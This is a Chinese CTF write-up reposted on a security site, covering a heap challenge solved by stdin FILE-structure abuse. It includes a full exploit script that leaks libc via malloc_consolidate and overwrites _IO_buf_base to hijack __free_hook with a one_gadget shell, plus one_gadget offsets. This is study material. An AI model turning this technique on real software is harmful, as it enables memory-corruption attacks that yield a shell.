国际赛stdin攻击

admin 2023年12月19日13:30:05评论28 views字数 2434阅读8分6秒阅读模式

题目后半部分利用手法类似于*CTF的2018 ciscn magic,很值得学习的一道题,首先是题目:

(1)main

国际赛stdin攻击

(2)sub_12F3

国际赛stdin攻击

(3)sub_13A1

国际赛stdin攻击

意思很明显了,不同于常规的堆题,需要一次性输入内容然后解题。

其中:

{ 是 malloc0x20+scanf

 free + pritnf

 malloc0x10+scanf

 ]   freeptr +pritnf

 任意地址写0 使用的是read写入

 getchar   

 putchar

好的先看下exp:

国际赛stdin攻击

国际赛stdin攻击

这道题关键就在于泄漏地址和任意地址写,需要用到malloc_consolidate和stdin

payload=b'{}[]{}*'+b'('*0x30+b"{}"

    sl(payload)

    # 这里可以输入数字因为是%d,也可以输入符号+-默认认为是计算符号跳过输入,但是不能用特殊符号跳过,因为有换行符会作为下一次的输入导致跳过scanf

    sl('1')

    # {  malloc0x20 

    # }  free 

    sl('1'*0x400)

    #  [  malloc0x10

    #同时因为scanf输入过大调用malloc,没有合适大小的堆,调用malloc_consolidate合并fastbin进smallbin

    #  ]  freeptr  

    '''

    1、在申请large chunk时,fastbin会进行合并,合并后按照大小进入largebin和smallbin(这是因为,首先这能很好的解决碎片化问题,其次程序很少会连续的既使用小堆块,又使用大堆块)

    

    2、申请的chunk大小大于等于top_chunk的大小时,尝试将fastbin进行整理后再在smallbin和largebin中找 

    '''

    sd(';')#跳出scanf,fd和bk残留libc中的地址

    # {  malloc0x20 

    # }  free 

    

    

    #-----找到libc基址和stdin,准备任意写------

    ru("-1n")

    main_area=int(rl())-120

    malloc_hook=main_area-0x10

    libc_base=malloc_hook-libc.sym.__malloc_hook

    free_hook=libc_base+libc.sym.__free_hook

    one=libc_base+0x4527a

    stdin=libc_base+0x3c48e0

    printf(libc_base)

    _IO_buf_base=stdin+0x38

    printf(_IO_buf_base)


    # brk()

    #任意地址写0

    sd(pld(_IO_buf_base))

    #  *  任意地址写0     read

    sd(pld("x00"*0x18,free_hook,free_hook+8))

    '''

    根据读取指针的位置和结束位置来判断缓冲区中是否还有可读取的数据。如果读取指针小于结束位置,说明缓冲区中还有数据可以读取,scanf等函数会直接从缓冲区中读取数据。即当_IO_read_ptr < _IO_read_end时,函数直接返回_IO_read_ptr。反之,则会进行一系列赋值操作,最终调用read的系统调用向_IO_buf_base中读入数据。

    _IO_buf_base:表示输入缓冲区的起始地址。输入数据会被存储在这个缓冲区中,scanf等函数会从这里读取数据。

    

    _IO_read_ptr:表示输入缓冲区的读取指针。它指向当前可读取的数据在缓冲区中的位置。

    

    _IO_read_end:表示输入缓冲区的结束位置。它指向缓冲区中的最后一个可读取的数据的下一个位置。

    '''

    #  {  malloc0x20    scanf

    #调用scanf(但是这个时候还写不了_IO_read_ptr= _IO_read_end,所以先调用getchar抬高_IO_read_ptr让我们输入0x30,刚好就是我们串改freehook和one的大小),因为_IO_buf_base后一字节变成0导致写入位置从_IO_write_base开始填充,我们要改写free_hook就需要如下布局,_IO_buf_end大小可以大一点都行,控制了_IO_buf_base与_IO_buf_end就可以控制输入的长度(length = fp->_IO_buf_end - fp->_IO_buf_base)和位置(_IO_buf_base)

    '''

    _IO_write_base = 任意

    _IO_write_ptr =  任意 

    _IO_write_end =  任意 

    _IO_buf_base = free_hook 

    _IO_buf_end = free_hook+8

    '''

    

    sd(pld(one))#onegadget

    #  {  malloc0x20    scanf

    #free_hook改onegadget

    interactive()

    '''

    0x45226 execve("/bin/sh", rsp+0x30, environ)

    constraints:

      rax == NULL

    

    0x4527a execve("/bin/sh", rsp+0x30, environ)

    constraints:

      [rsp+0x30] == NULL

    

    0xf03a4 execve("/bin/sh", rsp+0x50, environ)

    constraints:

      [rsp+0x50] == NULL

    

    0xf1247 execve("/bin/sh", rsp+0x70, environ)

    constraints:

      [rsp+0x70] == N

    '''


原文始发于微信公众号(由由学习吧):国际赛stdin攻击

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月19日13:30:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   国际赛stdin攻击http://cn-sec.com/archives/2241806.html

发表评论

匿名网友 填写信息